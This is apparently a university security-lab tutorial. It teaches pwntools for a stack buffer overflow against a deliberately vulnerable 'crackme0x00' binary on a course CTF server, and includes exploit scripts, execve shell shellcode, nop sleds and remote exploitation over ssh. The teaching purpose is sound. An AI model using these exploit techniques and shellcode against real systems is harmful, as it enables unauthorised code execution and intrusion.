In the last tutorial, we used a Python template for writing an exploit, which demonstrated some basic functionality of pwntools. In this tutorial, we'll take a deeper dive and learn more about pwntools and how it can help us write exploits more easily.
Do you remember step 1 of Tut03?
# log into the CTF server # ** check Canvas for login information! ** [host] $ ssh lab03@<ctf-server-address> $ cd tut03-pwntool $ ./crackme0x00 IOLI Crackme Level 0x00 Password:
In the last tutorial, we could hijack this binary's control flow by injecting a long enough input, like this:
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/[secret]/input $ ./crackme0x00 < /tmp/[secret]/input IOLI Crackme Level 0x00 Password: Invalid Password! Segmentation fault $ gdb-pwndbg ./crackme0x00 pwndbg> r < /tmp/[secret]/input ... Program received signal SIGSEGV (fault address 0x47474747)
pwntools actually provides a convenient way to create inputs like this, commonly known as "cyclic" inputs.
$ cyclic 50 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
While our simple pattern would've hit a logical roadblock when we reached "ZZZZ", this one can go for much longer.
Given any four bytes in the sequence, pwntools lets us easily look up their position in the input string.
$ cyclic 50 | ./crackme0x00 $ cyclic 50 > /tmp/[secret]/input $ gdb-pwndbg ./crackme0x00 pwndbg> r </tmp/[secret]/input ... Program received signal SIGSEGV (fault address 0x61616167) $ cyclic -l 0x61616167 24 $ cyclic --help ...
We can also use cyclic from within a Python script (below, exploit1.py):
cyclic
exploit1.py
#!/usr/bin/env python3 # import all modules/functions from pwn library from pwn import * # set the context of the target platform: # arch: i386 (x86 32-bit) # os: linux context.update(arch='i386', os='linux') # create a process p = process('./crackme0x00') # send input to the program, followed by a newline char, "\n" # (cyclic(50) provides a cyclic string with 50 chars) p.sendline(cyclic(50)) # make the process interactive, so you can interact # with it via its terminal p.interactive()
[Task] Hijack the program's control flow to 0xdeadbeef using cyclic_find() and p32().
cyclic_find()
p32()
Let's hijack the control flow to invoke an interactive shell.
Before we start, let's check what kinds of security protections have been applied to the binary (again using utilities from pwntools):
$ checksec ./crackme0x00 [*] '/home/lab03/tut03-pwntool/crackme0x00' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
Do you see "NX disabled"? That means its memory spaces such as the stack are executable, meaning we can run shellcode there!
Our plan is to hijack its return address ("ra") and jump to some shellcode.
esp ebp V V ... [ buf ] [bp] [ra] ... [shellcode ...] |<- 0x10 ->| | ^ | | +-------+
pwntools also provides numerous ready-to-use shellcode templates as well!
$ shellcraft -l ... i386.android.connect i386.linux.sh ... $ shellcraft -f a i386.linux.sh /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
shellcraft can do more than just provide shellcode source code: it also lets you test the shellcode, either by itself (-r) or in GDB (-d). Please check shellcraft --help for more.
-r
-d
shellcraft --help
# debugging the shellcode $ shellcraft -d i386.linux.sh # running the shellcode $ shellcraft -r i386.linux.sh
You can also use shellcraft in your Python code (below, exploit2.py):
exploit2.py
#!/usr/bin/env python3 from pwn import * context.update(arch='i386', os='linux') shellcode = shellcraft.sh() print(shellcode) print(hexdump(asm(shellcode))) payload = cyclic(cyclic_find(0x61616167)) payload += p32(0xdeadbeef) payload += asm(shellcode) p = process('./crackme0x00') p.sendline(payload) p.interactive()
asm() compiles your shellcode and returns it as a Python bytes.
asm()
bytes
[Task] Where should it jump (i.e., where is the shellcode located)? Change 0xdeadbeef to the shellcode's address. Does it work? In fact, it shouldn't, but how can you debug/understand this situation?
[Task] Where should it jump (i.e., where is the shellcode located)? Change 0xdeadbeef to the shellcode's address.
Does it work? In fact, it shouldn't, but how can you debug/understand this situation?
Evem more conveniently, we can use pwntools to put together pre-made pieces of shellcode in Python, and test it with run_assembly(). The below code, like the shellcode from lab02, reads a flag and dumps it to the screen:
run_assembly()
#!/usr/bin/env python3 from pwn import * context.update(arch='x86_64', os='linux') sh = shellcraft.open('/proc/flag') sh += shellcraft.read(3, 'rsp', 0x1000) sh += shellcraft.write(1, 'rsp', 'rax') sh += shellcraft.exit(0) p = run_assembly(sh) print(p.read())
The pwntools GDB module provides a convenient way to create your debugging script.
To display debugging information, you need to use a terminal that can split your shell into multiple screens. pwntools supports tmux (tmux cheat sheet), which you should run prior to using the GDB module:
tmux
$ tmux $ ./exploit3.py
Note: For pwntools's GDB module to run properly, you must run tmux prior to running the script.
You can invoke GDB as part of your Python code (below, exploit3.py).
exploit3.py
#!/usr/bin/env python3 from pwn import * context.update(arch='i386', os='linux') print(shellcraft.sh()) print(hexdump(asm(shellcraft.sh()))) shellcode = shellcraft.sh() payload = cyclic(cyclic_find(0x61616167)) payload += p32(0xdeadbeef) payload += asm(shellcode) p = process('./crackme0x00') gdb.attach(p, ''' echo "hi" # break *0xdeadbeef continue ''') p.sendline(payload) p.interactive()
Replace 0xdeadbeef with the address of the shellcode.
0xdeadbeef
Note: Because of the security policy enforced by the Linux kernel, gdb.attach() and gdb.debug() don't work with the original setuid binaries under /home/lab03/. You need to first copy the binaries to your tmp directory in order to attach them to GDB.
gdb.attach()
gdb.debug()
setuid
/home/lab03/
tmp
The only difference from before is that process() is now attached to GDB with gdb.attach(). The second argument to that function is, as you can guess, the GDB script that you'd like to execute (e.g., setting breakpoints).
process()
[Task] Does the exploit get stuck, something like this? (It may appear different in your environment.) 0xffffd6b0 add ecx, esp 0xffffd6b2 push ecx 0xffffd6b3 mov ecx, esp 0xffffd6b5 xor edx, edx 0xffffd6b7 push 0 ->0xffffd6b9 sar bl, 1 0xffffd6bb test dword ptr [eax], 0 The shellcode has not been injected properly. Can you spot the differences between the shellcode below (shellcraft -f a i386.linux.sh) and what was apparently injected (above)? Where does it seem to be getting stuck? ... mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
[Task] Does the exploit get stuck, something like this? (It may appear different in your environment.)
0xffffd6b0 add ecx, esp 0xffffd6b2 push ecx 0xffffd6b3 mov ecx, esp 0xffffd6b5 xor edx, edx 0xffffd6b7 push 0 ->0xffffd6b9 sar bl, 1 0xffffd6bb test dword ptr [eax], 0
The shellcode has not been injected properly. Can you spot the differences between the shellcode below (shellcraft -f a i386.linux.sh) and what was apparently injected (above)? Where does it seem to be getting stuck?
shellcraft -f a i386.linux.sh
... mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
The gdb.attach() and gdb.debug() functions will come in handy when you want to start debugging from within your Python scripts. These two methods are similar, but have one notable difference:
gdb.debug() starts a new process under the debugger, as if you're running GDB outside of your exploit script:
target = './crackme0x00' # (this is a copied binary under /tmp) p = gdb.debug(target, gdbscript=''' init-pwndbg break main ''') p.interactive()
gdb.attach() attaches GDB to a process that's already running. Therefore, you need to start the process before invoking gdb.attach(), and pass the process object as an argument:
target = './crackme0x00' # (this is a copied binary under /tmp) p = process(target) # first, start the target process gdb.attach(p, gdbscript=''' init-pwndbg break main ''') p.interactive()
$ man scanf
scanf() accepts all non-whitespace chars (including NULL!), but the default shellcode from pwntools contains a whitespace char (0xb), which caused the end of our shellcode to be chopped off.
scanf()
NULL
Here are the characters that scanf() considers whitespace:
If you're curious to explore this more, check out the scanf sub-directory in tut03-pwntool:
scanf
tut03-pwntool
$ cd scanf $ make ...
[Task] Can you change your shellcode to avoid using these chars? pwntools actually supports this feature (look for --avoid in shellcraft --help), but it's unfortunately broken as of when I write this, so you'll have to adjust the shellcode manually for now. Please use exploit4.py (locally). Did you manage to get a (local) flag?
[Task] Can you change your shellcode to avoid using these chars?
pwntools actually supports this feature (look for --avoid in shellcraft --help), but it's unfortunately broken as of when I write this, so you'll have to adjust the shellcode manually for now.
--avoid
Please use exploit4.py (locally). Did you manage to get a (local) flag?
exploit4.py
Tip: Still having problems? Check if the address you're jumping to contains any of scanf()'s illegal bytes. If it does, you can get a more favorable target address by adding an environment variable, which will result in all stack addresses being shifted downward. Or, read the next section to learn about nop sleds, which allow for some flexibility in the address value (for example, you could use 0xAAAAAA21 instead of 0xAAAAAA20)!
0xAAAAAA21
0xAAAAAA20
Your current exploit looks like this (from exploit4.py):
... payload = cyclic(cyclic_find(0x61616167)) payload += p32([addr-to-local-stack]) payload += asm(shellcode) p = process('./crackme0x00') p.sendline(payload)
To run your exploit on the lab server, you can of course copy this script there (scp) and run it, but it's also possible to run the script locally and have it connect to our server, like this:
scp
# connect to our server s = ssh('lab03', '<ctf-server-address>', password='<lab03-password>') # invoke a process on the server p = s.process('./crackme0x00', cwd='/home/lab03/tut03-pwntool') p.sendline(payload) ...
Does your exploit work on the server? ...Probably not. But that's just because stack addresses in your local environment are different from those on the server.
| | | ret | | | a | ret | | shellcode | | | fixed => | shellcode | => | | => | ret | address | | | | | shellcode | | ... | | ... | | ... | | ENV | | ENV | | ENV | 0xffffe000 | ... | | ... | | ... | (local) (server) or (server)
There are a few factors that affect the state of the server's stack. As discussed in the last tutorial, a primary one is environment variables, which are located near the bottom of the stack, as shown above.
One way to increase the chances of executing the shellcode is to add a "nop sled" to the beginning, like this:
payload += p32([addr-to-local-stack]) payload += b'\x90' * 100 payload += asm(shellcode)
If you happen to jump anywhere into the nop sled, execution will harmlessly "slide" through it, and ultimately reach and execute the actual shellcode:
| | | ret | a | nop | fixed => | nop | address | nop | | ... | | shellcode | | ... | | ENV | 0xffffe000 | ... |
The longer the nop sled, the more likely it is that you can manage to jump into it. So why not make a huge nop sled, say 0x10000 bytes long? Unfortunately, stack space is limited (try vmmap in gdb-pwndbg), so if your input is too long, it'll reach the end of the stack (i.e., 0xffffe000).
vmmap
gdb-pwndbg
0x8048000 0x8049000 r-xp 1000 0 /tmp/crackme0x00 0x8049000 0x804a000 r-xp 1000 0 /tmp/crackme0x00 0x804a000 0x804b000 rwxp 1000 1000 /tmp/crackme0x00 ... 0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
Is there a way to avoid this issue? One way is to add more environment variables, in order to enlarge the stack region:
p = s.process('./crackme0x00', cwd='/home/lab03/tut03-pwntool', env={b'DUMMY': b'A'*0x1000})
[Task] Did you finally manage to execute the shellcode and get the flag? Please submit the flag and claim the points!
pwntools has many more features than those introduced in this tutorial. Please check the documentation if you'd like to learn more.